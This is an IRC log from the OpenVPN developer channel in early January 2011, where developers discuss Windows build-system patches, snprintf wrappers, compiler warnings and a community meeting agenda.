11:20 <@dazo> I didn't bother read all comments ... I skipped it after a few clueless remarks 11:21 <+krzie> Essobi, what verson iphone? 11:21 < Essobi> krzie: Oh I've got a 4.. 11:21 <+krzie> o damn 11:21 <+krzie> i dont suppose it came with 4.0...? 11:21 < Essobi> krzie: It's just a pita to wait for an exploit every f'ing upgrade.. 11:22 < Essobi> krzie: once they figure out how to get the internal key out, you could generate your own shsh blobs from scratch, and run whatever you want. 11:22 <+krzie> ahh right 11:23 -!- s7r [~s7r@178.73.198.33] has joined #openvpn-devel 11:31 <@dazo> haha! http://littleblackbox.googlecode.com/svn/trunk/bin/lbb.db ... that's a SQLite3 database with all the certificates LittleBlackBox can identify :-P 11:40 <@dazo> the littleblackbox source code is clean and easy to read ... hmmm ... can pick out quite some ideas from here! 11:49 < Essobi> dazo: I was just digging for those myself. 12:16 -!- dazo is now known as dazo_afk 14:21 -!- s7r [~s7r@178.73.198.33] has quit [Ping timeout: 241 seconds] 14:39 < ecrist> Is there going to be a meeting this week? 15:13 < Essobi> ecrist: I havn't heard anything either way.. 15:33 <@mattock> ecrist: probably yes, I'm sure we have things to discuss 15:34 <@mattock> I'll setup the agenda tomorrow 15:34 <@mattock> ecrist: anything special you'd like to discuss? 15:51 <+krzee> i think it would be cool to have an option for alternate locations for 'ifconfig' and 'route' so android users wouldnt need to make symlinks 15:51 <+krzee> i assume it would be a rather minimal code addition 15:52 < Essobi> krzie: slap that puppy in the configure script. 15:52 <+krzee> thing is, android has an installer in the market 15:52 <+krzee> nobody actually builds their openvpn for android 15:53 <+krzee> they just run "openvpn installer" in the android market 15:53 <+krzee> they toss some files in their sd, and configure "openvpn settings" app 16:08 <@cron2> and who builds the binary? 16:08 <@cron2> if android has "ip" (which is far more useful than ifconfig+route), the location of that can be configure with --with-iproute2=$path 16:19 <+krzee> whoever maintains "openvpn installer" builds it 16:20 <+krzee> and the thing is, different roms install busybox in different places 16:20 <+krzee> so theres no way the maintainer could make it easy for all 16:21 <+krzee> i had to make symlinks in the filesystem, which required remounting /system, luckily a random guy in #openvpn had the same model phone so was able to help 16:21 <+krzee> im not saying its imperative or anything, just that it would be useful for a certain subclass of user 16:22 <+krzee> and i assume it would be a simple config option to make 18:08 <+krzee> btw mattock, i cant reply to people in the forums 18:08 <+krzee> i click the link in the irc channel, it wants me to login, so i do 18:09 <+krzee> then it directs me to the index, so i paste the url of the topic 18:09 <+krzee> then it wants me to login 18:09 <+krzee> rinse and repeat 19:17 < ecrist> mattock: no, nothing special, just want to make sure I'm here if there is one. ;) 19:42 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 246 seconds] 19:53 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 19:53 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 21:25 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 21:27 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 21:27 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 21:38 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 23:28 -!- openvpn2009 [patel@75-54-230-125.lightspeed.sntcca.sbcglobal.net] has quit [Changing host] 23:28 -!- openvpn2009 [patel@openvpn/corp/admin/patel] has joined #openvpn-devel 23:28 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 23:29 -!- openvpn2009 is now known as patelx --- Day changed Wed Jan 05 2011 01:45 <@mattock> krzee: are you talking about the old "logged users not detected correctly" issue again 01:56 <@mattock> the original issue had to do with wrong cookie domain, which was fixed 02:44 <@mattock> dazo: there? 03:51 -!- dazo_afk is now known as dazo 04:38 -!- common- [~common@p5DDA470C.dip0.t-ipconnect.de] has joined #openvpn-devel 04:39 -!- common [~common@p5DDA4786.dip0.t-ipconnect.de] has quit [Read error: Operation timed out] 04:39 -!- common- is now known as common 04:52 <@dazo> \o/ ... patches from mattock! 04:55 <@dazo> mattock: does this mean we now can build the overdue 2.2-RC ourselves? 05:29 <@mattock> if there are no surprises, maybe... I'll start looking into the NSI installer stuff 05:29 <@mattock> then somebody needs to test the installer 05:31 <@mattock> any suggestions regarding patch 6? 05:31 <@mattock> the hacky file copying from service-win32? 05:31 <@mattock> ...not that the Python build system lacks similar hacks as it is :) 05:31 <@dazo> I'm thinking about that one 05:32 <@mattock> it's pulling stuff from various existing files, which is nice... but breaks easily and is not intuitive 05:32 <@dazo> First I'm thinking ... if this is needed, then it is needed ... however ... I was wondering if you've tried to do cd services-win32, and then run the build process in that dir .. 05:33 <@dazo> clumsy sentence 05:33 <@mattock> yep, I understand 05:33 <@dazo> in the root dir .... the make file could do the cd into services-win32 05:33 <@dazo> so it would be separate make files 05:33 <@mattock> yeah, that would be cleaner... but then again, service.h is pointing to "config.h" which does not exist if the new build system is used 05:34 <@dazo> that's the only thing I can see/guess ... but I got no windows building experience ... and have ACKed the stuff I do understand is safe 05:34 <@dazo> mattock: and giving -I.. to the compiler in that case won't help? 05:34 <@mattock> so, the service.h file would require some modifications anyways 05:34 <@mattock> -l does what? 05:35 <@mattock> you mean /l ? http://msdn.microsoft.com/en-us/library/fwkeyyhe%28v=vs.71%29.aspx 05:35 <@dazo> -I (as in include) 05:35 <@dazo> adds a include path 05:36 <@dazo> http://msdn.microsoft.com/en-us/library/73f9s62w%28v=VS.71%29.aspx 05:36 <@mattock> the problem is that config.h is not present unless automake is used... 05:36 <@mattock> or that's what I think 05:37 <@dazo> ahh! true 05:37 <@dazo> but! I believe when automake is used, it will send -DHAVE_CONFIG_H to the compiler 05:37 <@dazo> so you can #ifdef HAVE_CONFIG_H around the #include 05:38 * dazo double checks 05:38 <@dazo> gcc -DHAVE_CONFIG_H -I. -I. -Wall -O2 -MT base64.o -MD -MP -MF .deps/base64.Tpo -c -o base64.o base64.c 05:38 <@mattock> then we come to the issue that we shouldn't have service.h or service.c in the repository, to be exact... copyright Microsoft 05:38 <@dazo> it does 05:39 * dazo need to run for lunch ... back in < 60 min 05:39 <@mattock> ok, see you then! 05:43 <@mattock> there's also the possibility of copying over config-win32.h as config.h... they contains the same information and serve the same purpose 05:44 <@mattock> here's a pretty pessimistic analysis of nmake's capability to work with subdirectories: http://stackoverflow.com/questions/1922702/nmake-compiling-all-source-files-in-all-subfolders :D 05:47 <@mattock> yeah, that's the reason why I threw in the towel in the first place when it comes to nmake + subdirectories... 06:21 -!- d457k [~heiko@vpn.astaro.de] has quit [Read error: Connection reset by peer] 06:22 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 06:22 -!- mode/#openvpn-devel [+o d457k] by ChanServ 06:33 * dazo is back 06:44 <@dazo> mattock: ahh ... I see ... ugh :/ 06:44 <@mattock> also, noticed a couple of new issues 06:45 <@mattock> service-win32/openvpnserv.c is pointing to ../config-win32.h, which won't exist if it's copied to build root 06:46 <@mattock> then I got the "lnk2019 unresolved external symbol snprintf" in openvpnserv.c again... I fixed that earlier, but I assume the fix got lost somehow 06:46 <@mattock> apparently $(SERVLIBS) is missing some library file 06:46 <@dazo> how do people manage to build on windows without going insane? 06:49 <@mattock> yeah, I wonder that too... 06:49 <@mattock> it's ridicuously hard 06:50 <@dazo> Try using openvpn_snprintf() ... if you haven't done that ... it's defined in buffer.c, iirc 06:51 <@mattock> some suggest using _snprintf() instead of snprintf()... and I think that fixed it earlier 06:51 <@mattock> but apparently not now 06:54 -!- d303k [~heiko@vpn.astaro.de] has joined #openvpn-devel 06:54 -!- mode/#openvpn-devel [+o d303k] by ChanServ 06:54 <@mattock> ok, it _did_ the trick 06:54 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 260 seconds] 06:55 <@mattock> I wonder if there would be a side-effect in copying files from service-win32 to build root for good... 06:55 <@mattock> that would simplify things quite a lot 06:56 <@dazo> I think we should try the copy stuff now then to start with ... and then try to figure out a better way how to do this 07:00 <@mattock> yep... probably a good idea 07:04 <@mattock> oh, there's no config-win32.h issue with openvpnserv.c... I generated that problem during my experiments :) 07:05 <@dazo> haha 07:09 <@mattock> yep, now it builds cleanly... should be ready for NSI hacking 07:09 <@mattock> I'll send in a couple of more patches 07:33 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:33 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:05 <@mattock> dazo: re: _snprintf... 08:06 * dazo prepares to be flogged :-P 08:07 <@mattock> currently openvpnserv does not depend on openvpn... if we use openvpn_snprintf, then it does 08:07 <@mattock> and I'm wondering if this is the reason why openvpnserv.c is using function mysnprintf, which in turn used snprintf 08:07 <@mattock> and which I changed to use _snprintf :) 08:08 <@mattock> I agree that using one snprintf wrapper function would make sense... just not sure if there's a good reason for using mysnprintf in openvpnserv.c 08:09 <@dazo> good point, I see that one 08:09 <@mattock> if we use openvpn_snprintf inside mysnprintf, we're wrapping snprintf twice 08:09 <@mattock> instead, I think using openvpn_snprintf directly in openvpnserv.c would make more sense 08:10 <@dazo> Well, openvpnserv *is* platform dependent ... but if it breaks autotools via cygwin or similar environments, so if _snprintf() breaks that ... it's definitely a no-go 08:10 <@dazo> and we also got cross-compiling from Linux to Windows as well 08:11 <@dazo> I think getting rid of mysnprintf() and using openvpn_snprintf() is more the way to go, tbh 08:12 <@dazo> it sure is a lot of things to pick on on the Windows side of OpenVPN :( 08:13 <@mattock> yeah, the build system is pretty complex... with all these platforms 08:14 <@mattock> perhaps we should ask what James thinks tomorrow? unless somebody has insights on this issue 08:15 <@mattock> I'll respond to your mail so that people don't reinvent the wheel... 08:15 <@dazo> goodie! 08:20 <@mattock> any ideas _how_ to include the openvpn_snprintf function from buffer.c to openvpnserv.c? Is #include "buffer.h" enough? 08:25 <@mattock> ok, sent 08:26 <@dazo> yeah, include buffer.h and to link in buffer.o 08:26 <@mattock> I'll setup the meeting agenda now 08:27 <@dazo> neat! 08:28 <@dazo> we probably have quite some things from last meeting which has not been discussed as well ... some patches, iirc 08:29 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2011-01-06 08:29 <@vpnHelper> Title: Topics-2011-01-06 – OpenVPN Community (at community.openvpn.net) 08:29 <@mattock> I'll check the latest meeting logs 08:30 <@mattock> quote from last summary: "None of the planned topics could be covered, as they would have required James' presence. " 08:30 <@mattock> :) 08:30 <@dazo> yeah :) 08:30 <@mattock> ok, so topics can be moved over as-is 08:30 <@mattock> I'll mail James _today_, just to be sure 08:31 <@dazo> well, we discussed the --x509 stuff with James, and we have now that one covered for the RC 08:31 <@dazo> sounds clever! 08:32 <@mattock> ok, so --x509 is out? 08:32 <@dazo> yeah 08:32 <@mattock> roger that 08:33 <@dazo> but dev_type and plugin API v3 needs to be discussed 08:33 <@mattock> I'm probably asking again, but is common's patch already included? 08:33 * dazo needs to check 08:37 <@dazo> aikes! That has slipped the RC queue ... I'll get his last patch included then 08:37 <@dazo> and I'll respin the candidate tarballs 08:41 <@mattock> oki, mails sent 08:47 <@mattock> james will be in tomorrow's meeting 08:51 <@dazo> goodie! 09:06 <@mattock> oh, didn't know that Alon Bar-Lev is the author of "pkcs11-helper": http://www.opensc-project.org/opensc/wiki/pkcs11-helper 09:06 <@vpnHelper> Title: pkcs11-helper – OpenSC (at www.opensc-project.org) 09:06 <@mattock> interesting 09:23 <@mattock> some interesting issues with pkcs11-helper building... got to return to those tomorrow 09:38 <@dazo> mattock: Alon is the guy behind the complete pkcs11 code in OpenVPN, iirc 10:07 -!- dazo is now known as dazo_afk 11:09 < Essobi> meeting in progress? 11:15 <+krzie> arent meetings on thursdays? 11:15 * krzie checks ical 11:15 <+krzie> aye, tomorrow 11:25 < Essobi> Oh right.. 11:25 < Essobi> Beeeeeen daaaaaaaaaazed and confuuuused.. 11:41 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:41 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:57 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 11:58 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 11:58 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 11:59 -!- michl [~mich@2001:6f8:1c60:7777:21a:4dff:fe66:600c] has joined #openvpn-devel 12:05 < michl> Hello: Some feature idea: 12:05 < michl> Would it be a good idea to introduce another configuration flag called "--silence-management" 12:06 < michl> It would increase the log level for log entries the management would make. 12:06 < michl> Actually these management log messages are logged at verb == 3 12:07 < michl> They bloat the log, when some device is checking regurarely the state of the tunnel and have to close the management socket every time. 12:26 < ecrist> how do I 'sanitize' a git pull so it's pristine? 12:26 < ecrist> !wishlist 12:26 <@vpnHelper> "wishlist" is https://forums.openvpn.net/viewforum.php?f=10 for the openvpn wishlist 12:27 < michl> Sorry! 12:29 < ecrist> dazo ping 12:59 <@vpnHelper> RSS Update - tickets: #72: new config flag: --silence-management : Do not log management access at all <https://community.openvpn.net/openvpn/ticket/72> 13:18 -!- michl [~mich@2001:6f8:1c60:7777:21a:4dff:fe66:600c] has quit [Quit: Verlassend] 15:21 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 264 seconds] 16:01 -!- s7r [~s7r@95.154.230.202] has joined #openvpn-devel 16:29 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 18:06 < Essobi> krzie: was that you diggin around in the crypto code in openvpn? 18:07 < Essobi> Someone was telling me which source files had crypto routines that wasn't openssl.. 18:07 < Essobi> I need to dig them out and make sure there are configure --options for them so I can finish up this the FIPS patch.. 18:10 -!- helmut [helmut@188.40.101.234] has quit [Ping timeout: 240 seconds] 18:11 -!- helmut [helmut@188.40.101.234] has joined #openvpn-devel 20:41 <+krzie> not me, above my skill-level 21:33 -!- s7r [~s7r@95.154.230.202] has left #openvpn-devel [] --- Day changed Thu Jan 06 2011 02:03 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:03 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:17 -!- dazo_afk is now known as dazo 04:24 <@dazo> ecrist: you mean to "reset" the git tree to the state as being just pulled down? scratching all your local changes? 04:26 <@dazo> There are many ways to do that, some are really dangerous ... others are safer ... depends if you want to save some of your work or not 04:27 <@dazo> generally, checking out a new branch of a remote branch is the safest and easiest ... you can then choose to rename your old branch and check out the new copy and delete the old branch ..... or you can check out the new copy with a new branch name, delete the old one and rename the new branch to the old branch name 04:28 <@dazo> git checkout -b <local branchname> origin/<branchname> ... to check out a remote branch from the "origin" repository 04:28 <@dazo> git branch -m <old branch name> <new branch name> 04:28 <@dazo> git branch -D <branch to be deleted> 04:29 <@dazo> those two latter ones can only be performed on local branches (ie, with no repository name in front, like origin) 04:30 <@dazo> There's also a possibility to use git reset ... but that one you need to be careful with, especially with the --hard option ... as that one can really mess up your tree big time 04:39 -!- common- [~common@p5DDA489C.dip0.t-ipconnect.de] has joined #openvpn-devel 04:42 -!- common [~common@p5DDA470C.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds] 04:42 -!- common- is now known as common 04:51 -!- krzie [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 05:01 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 05:01 -!- mode/#openvpn-devel [+v krzie] by ChanServ 09:39 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 09:39 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 09:46 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 10:21 <@mattock> ah, I use "git reset --hard" all the time :D 10:22 <@dazo> mattock: you're living on the edge :-P 10:22 <@mattock> yep 10:22 <@mattock> no, in fact I use it because I got my buildsystem changes in a local git repo on my Linux box and the Windows box just pulls those changes 10:23 <@mattock> so I often reset --hard on the windows box 10:23 <@dazo> ahh, I see 10:23 <@dazo> how is the windows building going? 10:24 * dazo hear mattock using a keyword .... "windows", which triggered the "todo list checker" 10:50 <@mattock> working on NSI integration 10:50 <@mattock> it basically "try, fail, fix, try, fail, fix, try, fail, fix..." 10:50 <@mattock> looking promising, not too much left anymore 10:52 <@dazo> sounds promising :) 11:00 <+krzie> oh damn, have i missed the meeting? 11:01 <@dazo> krzie: nope, you're an hour early ;-) 11:01 <+krzie> sweet! 11:01 <+krzie> oh wait, thats equally unsweet for me 11:02 <+krzie> thats when my massage apt is set for ;] 11:02 <@dazo> mattock: I think this page (http://openvpn.net/index.php/open-source/343-building-openvpn.html) should have some links to https://community.openvpn.net/openvpn/wiki/BuildingOnWindows and https://community.openvpn.net/openvpn/wiki/TesterDocumentation 11:02 <@vpnHelper> Title: Building OpenVPN (at openvpn.net) 11:02 <@dazo> hmm ... vpnHelper is lazy, only fetching the title of the first URL! 11:03 <@mattock> dazo: agreed, will add to TODO 11:04 <@mattock> done 11:04 <@dazo> infact ... why not move what's relevant from that page over to the community server ... and make the the Community Project menu just have links to the community server 11:32 <@cron2> oh, meeting 11:32 <@cron2> (soonish, that is) 11:38 <@dazo> yay! 11:55 < Essobi> When's the meeting start? 11:57 <@cron2> essobi: 3 minutes from now 11:57 < Essobi> *SNAP* 11:57 < Essobi> I'll ask when it's over then. ;) 12:02 <@mattock> mkay, meeting time 12:03 <@mattock> everybody set? James should be coming shortly 12:03 * dazo is ready 12:03 <@mattock> ok, so topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2011-01-06 12:03 <@vpnHelper> Title: Topics-2011-01-06 – OpenVPN Community (at community.openvpn.net) 12:03 <@mattock> lots of ACKing to do 12:03 <@mattock> what if we start with the buildsystem stuff while James is on his way? 12:04 <@dazo> works for me! 12:04 <@mattock> the "Building on Windows" article is updated: https://community.openvpn.net/openvpn/wiki/BuildingOnWindows 12:04 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 12:05 <@mattock> so, the last thing remaining is to finish the NSI installer script 12:05 <@mattock> it's getting there 12:05 <@mattock> then we can start testing 12:05 <@dazo> \o/ 12:06 <@mattock> I have absolutely no clue if the openvpnserv.exe is supposed to work 12:06 <@mattock> probably 12:06 * dazo wonders if ReactOS has become useful enough to do some smoketesting ..... 12:07 -!- krzie [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 12:07 <@mattock> maybe... but probably not :) 12:07 <@dazo> mattock: I believe openvpnserv.exe is used to register openvpn as a service ... which is critical 12:07 <@mattock> dazo: have you committed any of my patches already? 12:08 <@dazo> d303k: you around? able to help out testing out mattock's builds? 12:08 <@mattock> dazo: that's correct... it just a service wrapper, not much more 12:08 <@mattock> no code-level dependencies to openvpn yet 12:08 <@dazo> mattock: nope, not yet ... I'm waiting for more commits, to bundle them 12:08 <@mattock> ok 12:08 <@dazo> or more ACKs, that is 12:08 <@mattock> would you mind looking at the list of build warnings while I find out which of my patches are lacking an ACK? 12:09 <@dazo> sure! 12:09 <@mattock> buildsystem-related -> build warnings 12:09 <@mattock> the PREfast error messages are interesting... not sure if we should be worried 12:10 <@cron2> mattock: where's that url? 12:10 <@dazo> I have no idea what PREfast even is ... so 12:10 <@mattock> cron2: the warnings are listed here: https://community.openvpn.net/openvpn/wiki/Topics-2011-01-06 12:10 <@vpnHelper> Title: Topics-2011-01-06 – OpenVPN Community (at community.openvpn.net) 12:11 <@mattock> dazo: it's some sort of automatic code analysis tool included in WinDDK... so related to TAP-driver build 12:11 <@dazo> mm 12:11 <@mattock> it just pops up soon after build 12:12 <@cron2> i think you can get more details by clicking 12:12 <@dazo> "openvpnserv.c(278) : warning C4101: 'error_string' : unreferences local variable" 12:12 <@dazo> this one is an easy fix ... it seems error_string is not used at all, remove that declaration 12:12 <@dazo> (or in other words, not critical at all) 12:13 <@mattock> worth fixing, though 12:13 <@dazo> agreed 12:13 -!- s7r [~s7r@213.229.87.31] has joined #openvpn-devel 12:14 <@dazo> ssl.c:1918 ... on my Fedora 13 box, SSL_get_current_ciphers() is declared using a const ... while the input variable in ssl.c is not a const. If it is kicking about that, I'm rather surprised 12:15 <@cron2> well, it's warning that the "const" modifier is lost 12:15 <@dazo> it might be that it expects also the result to be const ... however, I find this a bit odd ... which OpenSSL version are you compiling against? 12:15 <@cron2> - which is reasonable 12:16 <@dazo> well, normally you can define a function with const ... and the function is not allowed to modify it ... while the place this function is called shouldn't need to be const (at least this is my experience with gcc), which indirectly gives a kind of assurance that the input variable is not modified in the function 12:17 <@dazo> but the variable may be modified outside the function with the const declaration 12:18 <@dazo> so, it's pedantic ... but I'm not saying it's right or wrong ... I don't remember what K&R says about it, and haven't read the ISO spec 12:18 <@cron2> KR& has no const at all 12:19 <@cron2> you can pass a non-const variable *to* a const variable/function just fine, but not a from const to non-const 12:19 <@dazo> agreed 12:19 <@mattock> ok, now the list should be complete: https://community.openvpn.net/openvpn/wiki/Topics-2011-01-06 12:19 <@vpnHelper> Title: Topics-2011-01-06 – OpenVPN Community (at community.openvpn.net) 12:19 <@cron2> if SSL_get_current_cipher is declared "const", it's assumed that the returned pointer is not used to modify things 12:20 <@dazo> what the man page for the function says is: SSL_CIPHER *SSL_get_current_cipher(const SSL *ssl); 12:20 <@dazo> abd the code section in ssl.c is: 12:20 <@dazo> ciph = SSL_get_current_cipher (c_ssl); 12:20 <@cron2> it's not the call, it's the assignment it's warning about 12:20 <@cron2> maybe they changed this in openssl 1.0.0 12:20 <@dazo> where neither c_ssl nor ciph is const 12:20 <@dazo> yeah, I'm wondering about that ... I'm on Fedora 13, which got 1.0.0c 12:21 <@cron2> the warning explicitely states "'=': ...", so it must be ciph 12:21 <@dazo> agreed 12:21 <@dazo> mattock: (re-asking) which openssl do you compile against? 12:22 <@mattock> 1.0.0a 12:22 <@dazo> hmm 12:22 <@mattock> I'll verify that, just in case 12:22 <@dazo> what about to update to 1.0.0c? 12:22 <@dazo> just to be more recent 12:23 <@dazo> ssl.c: In function ‘print_details’: 12:23 <@dazo> ssl.c:1918: warning: assignment discards qualifiers from pointer target type 12:23 <@mattock> yep, 1.0.0a... 12:23 <@dazo> hmm ... I get that one on my box now 12:23 <@mattock> update wouldn't hurt... except me :) 12:24 <@dazo> heh :) 12:24 <@mattock> did they skip 1.0.0b? 12:24 <@mattock> or make two releases really fast? 12:24 <@dazo> the latter, I believe 12:24 <@dazo> hmmm ... from ssl.h .... const SSL_CIPHER *SSL_get_current_cipher(const SSL *s); 12:25 <@mattock> ok, I'll update to 1.0.0c 12:25 <@dazo> that's not in the man page 12:26 <@dazo> http://openvpn.pastebin.ca/2039696 12:26 <@dazo> that patch fixes it 12:27 <@cron2> ack 12:27 <@mattock> mailed james 12:27 <@cron2> shouldn't harm older versions either 12:27 <@dazo> cron2: thx! I'll commit it now so we can get this one into beta2.2 too 12:27 <@mattock> I get "500 - Internal Server Error" 12:27 <@mattock> :D 12:28 <@dazo> http://www.fpaste.org/FPnh/ 12:28 <@dazo> mattock: ^^ 12:28 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:28 <@mattock> hi jamesyonan! 12:28 < jamesyonan> hi! 12:28 <@dazo> \o/ 12:29 <@mattock> topic list is here: https://community.openvpn.net/openvpn/wiki/Topics-2011-01-06 12:29 <@vpnHelper> Title: Topics-2011-01-06 – OpenVPN Community (at community.openvpn.net) 12:29 <@mattock> dazo: so you managed to handle the ssl.c and openvpnserv.c warnings? 12:29 <@dazo> mattock: openvpnserv.c have just a theoretical hunch ... ssl.c, cron2 just ack'ed 12:30 <@mattock> jamesyonan: what do you think about the PREfast errors? 12:31 <@mattock> are they something we should be worried about? they are not fatal build errors at least 12:31 <@dazo> mattock: but you may try to remove error_string declaration and compile it ... if that works, you've fixed it :) 12:31 <@mattock> dazo: I'll try that 12:33 < jamesyonan> they look like false positives to me 12:33 <@mattock> ok, good 12:34 < jamesyonan> does the compiler complain at all? 12:34 <@mattock> I don't think so, but I can recheck 12:34 <@mattock> ...checking 12:35 < jamesyonan> the PREfast errors are coming from MS code 12:37 <@dazo> okay, buildsystem patches? 12:37 <@mattock> ok, so after it has built the TAP driver, it says "4 files compiled, 6 warnings" 12:37 <@mattock> but it does not show the warnings (by default, I assume) 12:38 <@mattock> given that we need to use James' signed TAP driver anyways, this is not critical 12:38 <@cron2> ack 12:38 < jamesyonan> I'm not sure that "6 warnings" is real -- the build script is supposed to throw a fatal error on a real warning 12:39 <@mattock> jamesyonan: ok 12:39 <@mattock> so let's leave it be for now :) 12:39 <@mattock> so the un-ACKed buildsystem patches 12:39 <@mattock> list on the topic page now 12:40 <@mattock> the last three are more or less trivial 12:40 <@mattock> except that last one has an ACK already :) 12:41 <@dazo> mattock: ACK on this one --> http://thread.gmane.org/gmane.network.openvpn.devel/4326 12:41 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 12:41 <@mattock> ok, thanks! 12:41 < jamesyonan> re: snprintf -- at one point MS snprintf was unsafe and didn't guarantee a trailing null -- that's why we have openvpn_snprintf 12:42 <@mattock> jamesyonan: any reason why mysnprintf (from openvpnserv.c) is used instead of openvpn_snprintf (from buffer.c) ? 12:42 <@dazo> Even though this will make openvpnserv.exe depending on buffer.[ch] ... I think compiling and linking in that one and use openvpn_snprintf() is the way to go 12:42 <@dazo> (less duplicated code) 12:42 < jamesyonan> well openvpnserv.c is a separately linked exe 12:43 <@dazo> but it shouldn't make a difference, if you link in the buffer.o anyway, using that function from there? 12:44 < jamesyonan> that might pull in other modules 12:45 <@dazo> also if those other functions are not used? Isn't the linker that clever that it only takes those pieces it needs and not the complete file? 12:45 <@dazo> openvpn_snprintf() shouldn't bring it much extra, afair 12:45 <@mattock> is _Visual Studio linker_ that smart? :) 12:45 < jamesyonan> it's certainly clever when dealing with libraries -- not sure if that cleverness extends to object files 12:45 <@cron2> dazo: usually not 12:45 <@cron2> normally objects are pulled in completely, or not at all (from libraries) 12:46 < jamesyonan> I would either (a) redefine openvpn_snprintf for the service, or use one of the MS "safe" string functions 12:46 <@mattock> jamesyonan: would these "safe" string functions work on non-visual studio builds, too? 12:47 <@dazo> cron2: interesting ... I use that technique with good success in eurephia ... well, a lot of objects are compiled into a static library ... and the linker only extracts those pieces it needs 12:47 < jamesyonan> not sure -- you would need to see if mingw header files define them 12:47 <@cron2> dazo: well, from the library, yes, but normally it will pull "whole objects" from the library 12:48 <@cron2> not "individual functions from object files" 12:48 <@dazo> ahh, I see 12:48 <@mattock> I'm wondering if duplicating openvpn_snprintf would be safest... at least it is known to work 12:48 <@dazo> agreed 12:49 <@dazo> and that would fit well with Matthias' comment on the mailing list as well 12:49 < jamesyonan> yeah, that makes sense 12:49 <@mattock> I think so, got to read his post again 12:49 <@mattock> if the fix is as trivial as I think, I can do it 12:50 <@mattock> if it requires even least bit of C knowledge, I'll skip it :) 12:50 <@dazo> mattock: just throw out mysnprintf() ... and copy the complete openvpn_snprintf() function over ... and rename all mysnprintf() calls to openvpn_snprintf() 12:51 <@mattock> yep, that's what I meant about trivial :) 12:51 <@dazo> it shouldn't require much more than that :) 12:51 <@mattock> ok, so this one is still lacking ACK: http://thread.gmane.org/gmane.network.openvpn.devel/4320 12:51 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 12:51 <@mattock> my solution is ugly, but works 12:52 <@mattock> jamesyonan: any ideas if nmake can manage source files located in subdirectories? e.g. service-win32? 12:52 <@mattock> I tried it an it failed... and google results were most depressing ("use GNU make") :) 12:53 <@mattock> in a nutshell, I modified the Python files to copy stuff from service-win32 to $BUILDROOT and clean up afterwards 12:53 <@mattock> although msvc.mak does the cleaning up, to be exact 12:55 < jamesyonan> why is this needed? why not just generate an appropriate .mak file in service-win32 and build from there? 12:56 <@mattock> ok, so $BUILDROOT/msvc.mak.in is auto-generated from win/msvc.mak.in 12:56 < jamesyonan> basically, yes 12:56 <@mattock> I'm not sure how to manage files in subdirectories with nmake... probably a separate msvc.mak file inside service-win32 could also do the trick 12:56 <@mattock> and calling that from Python 12:57 < jamesyonan> yes, I don't think nmake has to be exposed to the subdirectory structure 12:57 <@mattock> subdirectory handling in nmake seemed to be crude... or poorly documented at least 12:58 <@mattock> any reason why service-win32 code is in a subdirectory in the first place, btw? 12:58 < jamesyonan> it's a different build target 12:59 <@mattock> ok 12:59 <@mattock> if there are no code-level dependencies between openvpn and openvpnserv then another msvc.mak file would probably be a little cleaner 12:59 < jamesyonan> yes 13:00 <@mattock> ok, I can change the approach then... shouldn't take long 13:00 <@mattock> on to the "Other" section if you don't mind... 13:01 <@mattock> jamesyonan: does Python buildsystem support prebuilt TAP drivers already? Not that copying them manually into dist/i386 and dist/amd64 would be hard... 13:02 < jamesyonan> yes 13:03 < jamesyonan> see build_exe.py 13:03 <@mattock> ok 13:03 <@mattock> ok, excellent 13:03 < jamesyonan> this does a build of only openvpn.exe, not tap drivers 13:04 <@mattock> one more thing... could the SignTool python module be included in Git? I assume it's a fairly trivial wrapper and some people might want to sign their own TAP drivers 13:05 <@mattock> and currently signing functionality is lacking 13:05 <@mattock> I mean "signtool" python module 13:07 <@mattock> (signtool.exe is the executable doing the hard work) 13:07 < jamesyonan> I'm not sure if we can release that 13:08 <@mattock> it is just a wrapper, right? 13:09 <@mattock> around signtool.exe 13:09 < jamesyonan> yes 13:09 <@mattock> I just have the feeling that when somebody needs signed drivers they'll rewrite the wrapper and post a patch 13:10 <@mattock> not sure if people want to sign their own drivers, though 13:10 <@mattock> atm this not critical I think 13:10 <@dazo> lets rather document it then, and state that we won't accept patches related to that 13:10 < jamesyonan> I'm thinking most people who sign drivers would just use the existing MS tools 13:11 <@dazo> true 13:12 <@mattock> ok, 